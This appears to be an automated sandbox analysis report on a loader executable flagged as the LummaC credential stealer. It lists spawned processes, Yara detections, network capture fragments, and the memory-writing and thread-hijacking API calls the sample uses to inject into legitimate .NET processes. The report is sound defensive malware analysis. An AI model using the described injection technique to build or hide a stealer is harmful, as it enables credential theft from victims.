{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QqFoG2wlTd3qKRv7IJ7ZpGCMIKzBkTl789nFG6NhM0YWIvD9vK4jw2bO3AV1iZvxT47CYkPZGUjg7XSZqcqAWcucjaUFRt6MjqT4%2FGUN10ZpqnHXP4bnn2STZMZ3SB7fHSDWUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d45d6aced4344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1792&min_rtt=1790&rtt_var=675&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=1615938&cwnd=47&unsent_bytes=0&cid=e358544b2b3310f0&ts=456&x=0"
2024-12-29 22:37:07 UTC	245	IN	Data Raw: 34 38 66 0d 0a 4b 53 4c 34 78 35 45 51 46 53 44 74 73 55 53 77 6a 71 6f 30 77 63 35 63 7a 76 48 79 78 39 49 36 49 68 58 65 64 71 38 59 74 6e 52 79 57 64 71 68 35 54 49 76 45 63 47 54 49 5a 4b 30 6d 78 6a 6a 71 6e 37 30 30 36 50 79 6c 51 31 36 51 5a 31 43 31 31 76 47 4f 47 49 62 72 4a 66 46 5a 46 73 58 69 4e 38 75 33 64 4b 46 55 61 61 35 4f 36 4f 2f 78 71 32 51 55 57 46 48 37 51 62 33 54 73 59 68 5a 6c 76 41 69 66 56 64 64 30 71 6f 2b 69 2b 49 2f 4a 74 35 2b 49 46 73 2f 59 58 45 6f 70 31 59 47 79 4f 61 4e 65 78 42 68 52 35 6b 5a 61 6d 4e 32 58 56 35 52 4c 72 64 45 66 2f 63 33 77 58 78 75 53 6d 44 6f 49 4f 55 71 30 78 33 62 2b 35 42 2b 33 32 46 42 42 30 58 6a 76 54 2b 58 56 78 71 68 39 51 4e 78 39 54 72 58 36 4b 4e 43 76 2b 51 Data Ascii: 48fKSL4x5EQFSDtsUSwjqo0wc5czvHyx9I6IhXedq8YtnRyWdqh5TIvEcGTIZK0mxjjqn7006PylQ16QZ1C11vGOGIbrJfFZFsXiN8u3dKFUaa5O6O/xq2QUWFH7Qb3TsYhZlvAifVdd0qo+i+I/Jt5+IFs/YXEop1YGyOaNexBhR5kZamN2XV5RLrdEf/c3wXxuSmDoIOUq0x3b+5B+32FBB0XjvT+XVxqh9QNx9TrX6KNCv+Q
2024-12-29 22:37:07 UTC	929	IN	Data Raw: 70 4a 4f 4c 44 6d 42 41 70 44 66 69 59 74 4d 51 57 45 6e 42 6b 4e 56 33 53 51 2b 6b 78 77 48 59 79 66 77 48 6d 36 59 66 2b 61 43 6a 6a 4f 56 69 63 33 79 55 4e 4e 77 74 2b 53 52 47 45 59 75 6a 2b 69 52 51 62 5a 7a 4a 46 76 66 36 36 55 47 30 39 68 65 67 73 70 71 6d 6c 47 4e 50 54 37 51 6b 6d 58 58 76 52 30 4e 42 6f 49 62 62 57 46 74 4d 74 2b 49 6f 36 4f 69 66 42 4c 75 68 4b 37 75 38 6f 37 61 42 51 31 52 41 70 45 43 59 54 4e 4d 69 58 56 6a 4e 6d 37 35 41 65 6d 32 6e 2b 79 37 56 78 39 31 67 67 4b 55 34 2b 4b 66 44 70 6f 52 72 46 6c 4c 70 4c 76 74 62 32 51 78 71 55 72 53 4d 71 45 52 46 64 4a 6e 2f 63 39 48 67 77 41 61 64 34 54 6d 70 68 70 57 41 6e 41 35 4c 66 62 55 31 2f 53 76 47 4c 48 39 53 72 6f 48 36 63 6d 46 45 6f 50 30 75 39 63 58 42 51 50 62 2f 45 66 65 Data Ascii: pJOLDmBApDfiYtMQWEnBkNV3SQ+kxwHYyfwHm6Yf+aCjjOVic3yUNNwt+SRGEYuj+iRQbZzJFvf66UG09hegspqmlGNPT7QkmXXvR0NBoIbbWFtMt+Io6OifBLuhK7u8o7aBQ1RApECYTNMiXVjNm75Aem2n+y7Vx91ggKU4+KfDpoRrFlLpLvtb2QxqUrSMqERFdJn/c9HgwAad4TmphpWAnA5LfbU1/SvGLH9SroH6cmFEoP0u9cXBQPb/Efe
2024-12-29 22:37:07 UTC	1369	IN	Data Raw: 33 32 33 39 0d 0a 39 77 73 42 78 69 71 55 76 76 4d 43 2f 2f 70 30 4b 45 57 48 6f 45 2b 42 36 6a 30 4a 74 59 62 75 65 6f 6e 6c 59 5a 37 7a 37 44 4e 58 69 7a 6d 4f 74 6d 78 4f 63 68 4d 50 33 70 55 39 76 52 4b 38 6c 31 6d 37 6a 44 68 6b 56 72 4b 4b 69 59 43 45 56 6d 34 49 72 2f 63 66 67 58 71 53 48 4b 35 53 77 6d 61 50 6b 62 42 4e 30 69 43 65 61 58 34 45 73 66 57 48 4d 76 39 4a 67 57 57 76 55 35 52 54 6b 2b 75 51 44 70 4b 41 32 6f 36 33 64 6f 72 56 4e 52 58 69 51 51 73 56 61 33 54 64 37 45 59 69 66 78 32 42 44 5a 49 62 54 4d 4e 54 44 35 6c 36 45 68 54 65 39 67 38 4f 4b 36 33 55 53 4a 71 70 41 79 6c 66 55 54 52 39 6d 75 34 54 49 49 33 78 74 71 75 41 4f 2b 4f 76 47 55 4a 61 69 43 59 47 6a 68 2f 62 69 54 56 64 59 6a 77 66 38 59 63 41 68 55 78 4c 50 6b 2f 51 6a Data Ascii: 32399wsBxiqUvvMC//p0KEWHoE+B6j0JtYbueonlYZ7z7DNXizmOtmxOchMP3pU9vRK8l1m7jDhkVrKKiYCEVm4Ir/cfgXqSHK5SwmaPkbBN0iCeaX4EsfWHMv9JgWWvU5RTk+uQDpKA2o63dorVNRXiQQsVa3Td7EYifx2BDZIbTMNTD5l6EhTe9g8OK63USJqpAylfUTR9mu4TII3xtquAO+OvGUJaiCYGjh/biTVdYjwf8YcAhUxLPk/Qj
2024-12-29 22:37:07 UTC	1369	IN	Data Raw: 52 7a 38 73 4c 66 48 35 65 4d 50 61 61 54 70 6f 79 7a 64 33 56 2f 6d 45 54 69 59 74 49 2b 47 31 43 79 6a 66 64 62 66 31 47 38 69 48 54 67 2f 4d 5a 79 39 49 64 70 6b 74 36 55 38 62 52 37 53 46 76 6f 4a 75 6c 70 2f 41 4a 63 55 71 43 41 39 43 68 44 52 62 6e 79 46 74 6e 35 6d 6d 61 6a 72 53 61 68 6e 49 65 6d 69 30 68 2b 4f 70 74 41 32 57 7a 7a 4d 48 39 59 6c 37 4b 6a 66 53 42 51 74 2f 63 33 2f 50 33 70 41 34 2b 62 62 59 57 30 71 6f 4f 4f 46 57 4e 63 6a 51 44 4c 4c 39 4d 61 51 30 2b 70 72 4e 42 44 63 6b 36 39 38 77 37 30 2f 65 6c 69 6e 65 45 54 68 4c 79 78 38 37 70 52 64 6c 36 6f 41 38 78 69 30 54 68 43 63 38 69 53 33 43 6c 61 45 4e 37 46 63 74 53 2f 34 6d 79 72 76 41 71 34 6b 36 4b 39 74 58 31 6a 58 35 5a 64 39 55 37 6a 4d 6b 5a 70 72 49 6e 35 59 32 77 54 6d Data Ascii: Rz8sLfH5eMPaaTpoyzd3V/mETiYtI+G1Cyjfdbf1G8iHTg/MZy9Idpkt6U8bR7SFvoJulp/AJcUqCA9ChDRbnyFtn5mmajrSahnIemi0h+OptA2WzzMH9Yl7KjfSBQt/c3/P3pA4+bbYW0qoOOFWNcjQDLL9MaQ0+prNBDck698w70/elineEThLyx87pRdl6oA8xi0ThCc8iS3ClaEN7FctS/4myrvAq4k6K9tX1jX5Zd9U7jMkZprIn5Y2wTm
2024-12-29 22:37:07 UTC	1369	IN	Data Raw: 36 77 6d 53 57 75 78 43 5a 68 37 69 75 6c 55 41 55 5a 4c 73 55 6c 6d 33 6d 46 30 38 55 71 71 61 6e 65 53 4a 30 69 2f 6f 52 30 37 6d 62 56 36 75 38 44 2f 36 49 77 4c 36 4b 62 68 5a 78 6a 42 33 73 58 73 78 4d 47 48 69 65 6e 39 52 70 54 47 66 47 30 67 4c 61 32 38 73 44 38 4c 73 4f 67 4c 50 47 68 65 4a 63 64 6b 43 4e 4a 50 68 49 31 44 56 61 53 71 69 71 70 58 56 4e 46 4c 7a 36 4b 34 50 6d 78 46 71 4e 6f 77 44 68 6c 35 75 43 6f 33 46 4f 5a 4a 51 6b 34 31 44 76 4d 47 49 57 71 35 48 48 57 6b 31 4a 71 2f 59 79 78 76 2f 41 5a 66 57 4b 4c 4b 75 6b 75 6f 69 30 59 46 70 66 6a 43 54 32 66 4d 35 48 57 58 71 75 74 38 52 38 55 45 2b 4a 35 51 6e 30 32 65 52 2f 68 66 6b 34 2f 36 4f 55 67 36 6f 4b 59 32 65 56 4f 76 35 4f 32 53 42 45 59 61 47 62 76 6d 52 63 5a 6f 6a 48 41 39 Data Ascii: 6wmSWuxCZh7iulUAUZLsUlm3mF08UqqaneSJ0i/oR07mbV6u8D/6IwL6KbhZxjB3sXsxMGHien9RpTGfG0gLa28sD8LsOgLPGheJcdkCNJPhI1DVaSqiqpXVNFLz6K4PmxFqNowDhl5uCo3FOZJQk41DvMGIWq5HHWk1Jq/Yyxv/AZfWKLKukuoi0YFpfjCT2fM5HWXqut8R8UE+J5Qn02eR/hfk4/6OUg6oKY2eVOv5O2SBEYaGbvmRcZojHA9
2024-12-29 22:37:07 UTC	1369	IN	Data Raw: 6a 34 67 59 6e 71 57 47 69 65 56 66 54 48 47 4d 51 35 73 75 68 79 4e 2b 57 4d 44 7a 77 33 64 57 63 72 47 65 4b 65 62 59 36 46 57 43 70 53 61 58 69 37 2b 7a 35 51 4d 53 51 49 77 44 35 6e 76 33 4f 47 74 52 71 76 48 47 58 33 64 55 32 49 49 53 2f 75 7a 6e 48 2f 43 6f 61 4b 76 46 74 76 4f 4b 62 6e 73 6c 71 53 43 45 58 73 45 44 58 47 65 55 6b 74 6b 6d 64 45 47 55 31 78 58 38 35 75 4e 6a 69 59 6f 35 70 37 36 6b 73 6f 4e 38 64 48 71 54 4d 63 64 7a 30 6b 4a 2f 45 35 6d 52 35 6c 5a 57 66 4d 4b 43 4d 76 75 34 32 58 4f 4c 69 7a 4b 48 77 59 71 77 35 56 4e 51 50 6f 63 75 33 48 4c 71 57 31 41 62 7a 71 48 72 4a 33 5a 79 31 4d 59 58 37 4b 48 48 59 66 65 63 50 66 71 64 76 70 4f 7a 51 68 56 2f 6d 7a 33 45 53 39 55 4f 66 47 75 55 68 73 30 2f 66 47 69 4f 77 52 58 48 31 50 78 Data Ascii: j4gYnqWGieVfTHGMQ5suhyN+WMDzw3dWcrGeKebY6FWCpSaXi7+z5QMSQIwD5nv3OGtRqvHGX3dU2IIS/uznH/CoaKvFtvOKbnslqSCEXsEDXGeUktkmdEGU1xX85uNjiYo5p76ksoN8dHqTMcdz0kJ/E5mR5lZWfMKCMvu42XOLizKHwYqw5VNQPocu3HLqW1AbzqHrJ3Zy1MYX7KHHYfecPfqdvpOzQhV/mz3ES9UOfGuUhs0/fGiOwRXH1Px
2024-12-29 22:37:07 UTC	1369	IN	Data Raw: 4c 65 63 79 34 4b 39 53 47 77 68 69 55 44 43 59 76 73 51 58 57 79 31 76 71 4e 56 66 55 4f 34 36 41 58 59 36 50 70 33 6c 35 52 73 75 4c 4f 5a 6c 49 46 39 64 30 47 49 42 76 70 30 38 77 64 4e 57 4c 57 31 2b 56 70 48 45 49 48 55 44 65 58 76 2f 52 2b 75 67 42 69 6c 75 37 36 6d 34 46 78 4d 66 70 77 67 7a 6c 7a 30 47 33 4e 71 6e 61 76 31 52 33 6c 7a 75 4f 49 73 67 64 66 64 65 70 6a 2b 4d 35 36 46 77 5a 47 63 41 6e 4a 64 69 44 58 63 64 38 49 32 66 30 71 31 38 39 74 36 50 68 43 4b 35 78 4c 49 79 39 35 43 2b 61 59 32 75 4c 62 47 38 37 39 75 56 53 79 63 4e 66 63 68 2f 43 67 47 59 4d 6d 54 71 46 34 69 52 59 50 55 4c 66 7a 4a 37 31 2b 78 6f 79 76 33 70 36 4b 47 6e 45 39 37 51 72 46 46 79 31 37 59 41 45 74 32 69 59 6a 58 51 47 64 30 71 4f 42 30 35 63 4f 54 65 2f 48 39 Data Ascii: Lecy4K9SGwhiUDCYvsQXWy1vqNVfUO46AXY6Pp3l5RsuLOZlIF9d0GIBvp08wdNWLW1+VpHEIHUDeXv/R+ugBilu76m4FxMfpwgzlz0G3Nqnav1R3lzuOIsgdfdepj+M56FwZGcAnJdiDXcd8I2f0q189t6PhCK5xLIy95C+aY2uLbG879uVSycNfch/CgGYMmTqF4iRYPULfzJ71+xoyv3p6KGnE97QrFFy17YAEt2iYjXQGd0qOB05cOTe/H9
2024-12-29 22:37:07 UTC	1369	IN	Data Raw: 61 41 36 77 73 57 56 35 77 45 31 57 7a 61 42 68 70 52 6c 62 37 6f 4a 6e 39 31 70 6f 67 51 34 50 6d 66 51 6f 54 6c 42 59 62 4a 79 71 71 6a 55 45 56 34 6b 45 4c 72 49 64 73 51 55 57 75 79 69 63 5a 43 63 32 57 47 30 7a 44 55 33 74 31 6f 37 6f 59 73 75 61 48 46 6b 61 68 67 5a 33 71 50 45 4a 78 56 38 42 67 43 5a 36 75 31 35 6c 5a 4a 44 35 6e 38 4c 4e 2f 4a 39 68 75 59 6a 51 6e 34 75 6f 44 32 70 32 68 70 58 34 6c 46 33 6c 48 7a 4a 6d 31 77 71 62 32 68 4a 30 46 46 33 74 34 68 36 74 66 69 59 6f 79 68 45 4c 75 7a 78 76 4b 68 41 78 70 47 6d 44 50 57 55 2b 70 62 55 45 6d 56 6c 4f 4e 42 55 31 69 43 31 68 62 31 77 4f 78 77 6b 5a 6f 6f 67 4d 61 58 72 2b 64 57 56 58 43 54 41 65 74 68 78 6b 49 43 52 38 43 44 35 55 77 36 52 4b 6e 51 43 65 48 61 33 51 57 4d 69 78 47 43 6d Data Ascii: aA6wsWV5wE1WzaBhpRlb7oJn91pogQ4PmfQoTlBYbJyqqjUEV4kELrIdsQUWuyicZCc2WG0zDU3t1o7oYsuaHFkahgZ3qPEJxV8BgCZ6u15lZJD5n8LN/J9huYjQn4uoD2p2hpX4lF3lHzJm1wqb2hJ0FF3t4h6tfiYoyhELuzxvKhAxpGmDPWU+pbUEmVlONBU1iC1hb1wOxwkZoogMaXr+dWVXCTAethxkICR8CD5Uw6RKnQCeHa3QWMixGCm
2024-12-29 22:37:07 UTC	1369	IN	Data Raw: 41 66 6a 71 4b 45 35 78 33 31 30 46 5a 46 5a 65 47 79 46 6c 42 52 61 54 47 48 75 62 6c 79 55 65 58 74 42 4f 59 6c 4d 65 50 2b 57 4a 33 56 75 70 50 78 6e 66 73 50 77 4a 59 71 49 2f 31 58 57 52 46 68 2f 30 70 33 66 76 43 63 36 61 69 4b 50 72 48 6f 4b 75 64 61 46 74 58 68 6a 4c 6c 54 65 45 66 54 55 36 63 6b 76 4e 35 58 47 75 4b 33 6a 61 48 77 35 4a 77 38 62 51 73 2b 4c 79 48 70 5a 30 4d 5a 48 43 64 4f 63 46 79 6a 6a 4e 2b 53 72 43 50 31 33 52 43 54 4c 58 2b 46 73 65 2f 6d 6e 43 30 68 54 2b 2f 75 72 47 79 71 30 42 56 59 34 6f 78 77 58 66 55 51 56 70 4d 6c 34 54 49 57 58 4a 46 6f 59 55 65 2f 75 58 4f 64 35 65 32 43 35 69 56 75 49 43 59 59 6e 4e 61 36 6b 2f 47 64 2f 77 2f 48 6d 71 6f 69 39 39 64 63 30 57 47 37 57 76 64 39 4e 39 54 67 36 6b 77 6e 4d 57 45 76 37 Data Ascii: AfjqKE5x310FZFZeGyFlBRaTGHublyUeXtBOYlMeP+WJ3VupPxnfsPwJYqI/1XWRFh/0p3fvCc6aiKPrHoKudaFtXhjLlTeEfTU6ckvN5XGuK3jaHw5Jw8bQs+LyHpZ0MZHCdOcFyjjN+SrCP13RCTLX+Fse/mnC0hT+/urGyq0BVY4oxwXfUQVpMl4TIWXJFoYUe/uXOd5e2C5iVuICYYnNa6k/Gd/w/Hmqoi99dc0WG7Wvd9N9Tg6kwnMWEv7

Target ID:	0
Start time:	17:36:53
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\R3nz_Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\R3nz_Loader.exe"
Imagebase:	0xa10000
File size:	706'048 bytes
MD5 hash:	B43D8ECA7777B170DDC40A824AB10BB6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:36:53
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	17:36:53
Start date:	29/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Imagebase:	0x2e0000
File size:	43'016 bytes
MD5 hash:	5D1D74198D75640E889F0A577BBF31FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2082382204.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2065068299.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:36:54
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2684 -s 1224
Imagebase:	0x3f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.2%
Total number of Nodes:	1480
Total number of Limit Nodes:	22

Executed Functions

Function 6CEE8640 Relevance: 100.9, APIs: 28, Strings: 25, Instructions: 8115nativethreadmemoryCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 6CEEA52F
ShowWindow.USER32 ref: 6CEEA545
VirtualAlloc.KERNELBASE ref: 6CEEAD39
CreateProcessW.KERNELBASE ref: 6CEEB3F4
NtAllocateVirtualMemory.NTDLL ref: 6CEEB865
NtAllocateVirtualMemory.NTDLL ref: 6CEEB982
NtWriteVirtualMemory.NTDLL ref: 6CEEB9D3
NtWriteVirtualMemory.NTDLL ref: 6CEEBD88
NtWriteVirtualMemory.NTDLL ref: 6CEEC3F6
NtReadVirtualMemory.NTDLL ref: 6CEEDA6D
NtWriteVirtualMemory.NTDLL ref: 6CEEDD25
NtWriteVirtualMemory.NTDLL ref: 6CEEE0C6
NtCreateThreadEx.NTDLL ref: 6CEEE67E
NtSetContextThread.NTDLL ref: 6CEEE9A7
NtResumeThread.NTDLL ref: 6CEEE9C5
CloseHandle.KERNEL32 ref: 6CEEEC3C
CloseHandle.KERNEL32 ref: 6CEEEC50
NtAllocateVirtualMemory.NTDLL ref: 6CEEF1B5
NtWriteVirtualMemory.NTDLL ref: 6CEEF358
NtReadVirtualMemory.NTDLL ref: 6CEEF82B
NtWriteVirtualMemory.NTDLL ref: 6CEEF99E
NtSetContextThread.NTDLL ref: 6CEEFA29
NtResumeThread.NTDLL ref: 6CEEFA47
CreateProcessW.KERNEL32 ref: 6CEEFCA7
CloseHandle.KERNEL32 ref: 6CEEFFD8
CloseHandle.KERNEL32 ref: 6CEEFFEC
NtReadVirtualMemory.NTDLL ref: 6CEF0219

Strings

b'aX, xrefs: 6CEEA8D8
ntdll.dll, xrefs: 6CEEA55F
ma_, xrefs: 6CEEC0AF
w]~, xrefs: 6CEEE440
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe, xrefs: 6CEEB024, 6CEEFC16
D, xrefs: 6CEEFBC3
c/, xrefs: 6CEEF60A
MZx, xrefs: 6CEEA6BF, 6CEEA6DB, 6CEEEE6C, 6CEEEE88
~zm, xrefs: 6CEEAAEA
TD4+, xrefs: 6CEEE782
OQ!Y, xrefs: 6CEEAA94
w.qo, xrefs: 6CEEC1E8
w]~, xrefs: 6CEEE3EF
s"E&, xrefs: 6CEEEAF1
J/, xrefs: 6CEEAEF0
OQ!Y, xrefs: 6CEEAA26
kernel32.dll, xrefs: 6CEEA54B
<Mj, xrefs: 6CEE8660
,/s, xrefs: 6CEEDB53
?b\x, xrefs: 6CEEC30F
<Mj, xrefs: 6CEEADA1
w.qo, xrefs: 6CEEC197
@, xrefs: 6CEEF1AD
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 6CEEAF1D, 6CEEFBF9
rg), xrefs: 6CEEEC17

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: Virtual$Memory$Write$Thread$CloseHandle$AllocateCreateRead$ContextProcessResumeWindow$AllocConsoleShow
String ID: ma_$,/s$<Mj$<Mj$?b\x$@$C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe$D$MZx$OQ!Y$OQ!Y$TD4+$b'aX$c/$kernel32.dll$ntdll.dll$s"E&$w.qo$w.qo$w]~$w]~$~zm$J/$rg)
API String ID: 349478264-3264118132
Opcode ID: 3a0c55d25b95f289ec98d2fc4157df03fe0872857c79a8c19a8489331040f14e
Instruction ID: 2eb91bb33cbbe170ab75ae9b0c72f79162c9efe6afb22ec1e439b026c4b9aad3
Opcode Fuzzy Hash: 3a0c55d25b95f289ec98d2fc4157df03fe0872857c79a8c19a8489331040f14e
Instruction Fuzzy Hash: 17D30636A502118FDB18CE3CC9D43CD77F2AB4B3A4F209199D419DBBA5D6358E8A8F11

Function 6CEE1740 Relevance: 46.6, APIs: 22, Strings: 3, Instructions: 2893filememoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?), ref: 6CEE248A
GetModuleHandleA.KERNEL32 ref: 6CEE24CE
K32GetModuleInformation.KERNEL32 ref: 6CEE28BB
CreateFileA.KERNELBASE ref: 6CEE2BA8
CreateFileMappingA.KERNEL32 ref: 6CEE2CC2
MapViewOfFile.KERNELBASE ref: 6CEE2F37
VirtualProtect.KERNELBASE ref: 6CEE340B
VirtualProtect.KERNELBASE ref: 6CEE3527
CloseHandle.KERNELBASE ref: 6CEE396C
CloseHandle.KERNEL32 ref: 6CEE3995
CloseHandle.KERNEL32 ref: 6CEE39A9
GetModuleFileNameA.KERNEL32 ref: 6CEE3D8F
MapViewOfFile.KERNEL32 ref: 6CEE3F4D
GetCurrentProcess.KERNEL32 ref: 6CEE40B8
GetModuleHandleA.KERNEL32 ref: 6CEE40FC
CreateFileMappingA.KERNEL32 ref: 6CEE41A4
VirtualProtect.KERNEL32 ref: 6CEE424D
GetModuleFileNameA.KERNEL32 ref: 6CEE4348
MapViewOfFile.KERNEL32 ref: 6CEE43A5

Strings

pYof, xrefs: 6CEE2B48
@, xrefs: 6CEE4241
d,>, xrefs: 6CEE3194

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: File$HandleModule$CloseCreateProtectViewVirtual$CurrentMappingNameProcess$Information
String ID: @$d,>$pYof
API String ID: 2573367501-2859445575
Opcode ID: 046d4690d8713550a57dc717142d1362ebb53a9273e0cc02bca20a0a67fd116f
Instruction ID: 00c8a58b783375468f30d620dff84176b776be62e826b966f5955e2b073845a5
Opcode Fuzzy Hash: 046d4690d8713550a57dc717142d1362ebb53a9273e0cc02bca20a0a67fd116f
Instruction Fuzzy Hash: DB330032A082158FDB08DF7CC9947CD77F2AB5A394F209559D419DBB95C3368A8ACF02

Function 6CEE6B80 Relevance: 17.1, APIs: 2, Strings: 7, Instructions: 1306
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?), ref: 6CEE71D8

Strings

(Tls, xrefs: 6CEE7A5E
9.=H, xrefs: 6CEE72FD
ntdll.dll, xrefs: 6CEE71CC
NtQueryInformationProcess, xrefs: 6CEE71E0
>Be8, xrefs: 6CEE7D5A
9.=H, xrefs: 6CEE7281
>Be8, xrefs: 6CEE78F1

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: HandleModule
String ID: (Tls$9.=H$9.=H$>Be8$>Be8$NtQueryInformationProcess$ntdll.dll
API String ID: 4139908857-3027456121
Opcode ID: b1f5dd322a2e3cab1dc76725cccbcae94872fea7caac743b6c1fb4c790531157
Instruction ID: f4e8699c3d5859ab3a79636d33726b546fcf3f1f1a318c43d905255510a3a1fb
Opcode Fuzzy Hash: b1f5dd322a2e3cab1dc76725cccbcae94872fea7caac743b6c1fb4c790531157
Instruction Fuzzy Hash: 36922532A642058FDF08DE7CD5D53DD37F29B8B3A8F309515D421DBBA6C62A990B8B01

Function 6CEF0BF8 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6CEF0C3F
___scrt_uninitialize_crt.LIBCMT ref: 6CEF0C59

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: a29563e2798693384503791fe5548f5c94308cfae1bf34208c57f4795615b96c
Instruction ID: aa78a6a6bca733a35864f1a6efe4238b6251a6774f81f2a1d26c41f8683298c8
Opcode Fuzzy Hash: a29563e2798693384503791fe5548f5c94308cfae1bf34208c57f4795615b96c
Instruction Fuzzy Hash: 2641E572E05698AFDB109F99CC40BEE7A75EB81B9CF304119E834A7B40D7319D079BA0

Function 6CEF0CA8 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6CEF0CE5
dllmain_crt_dispatch.LIBCMT ref: 6CEF0CFC
dllmain_raw.LIBCMT ref: 6CEF0D44
dllmain_crt_dispatch.LIBCMT ref: 6CEF0D57
dllmain_raw.LIBCMT ref: 6CEF0D6A

Memory Dump Source

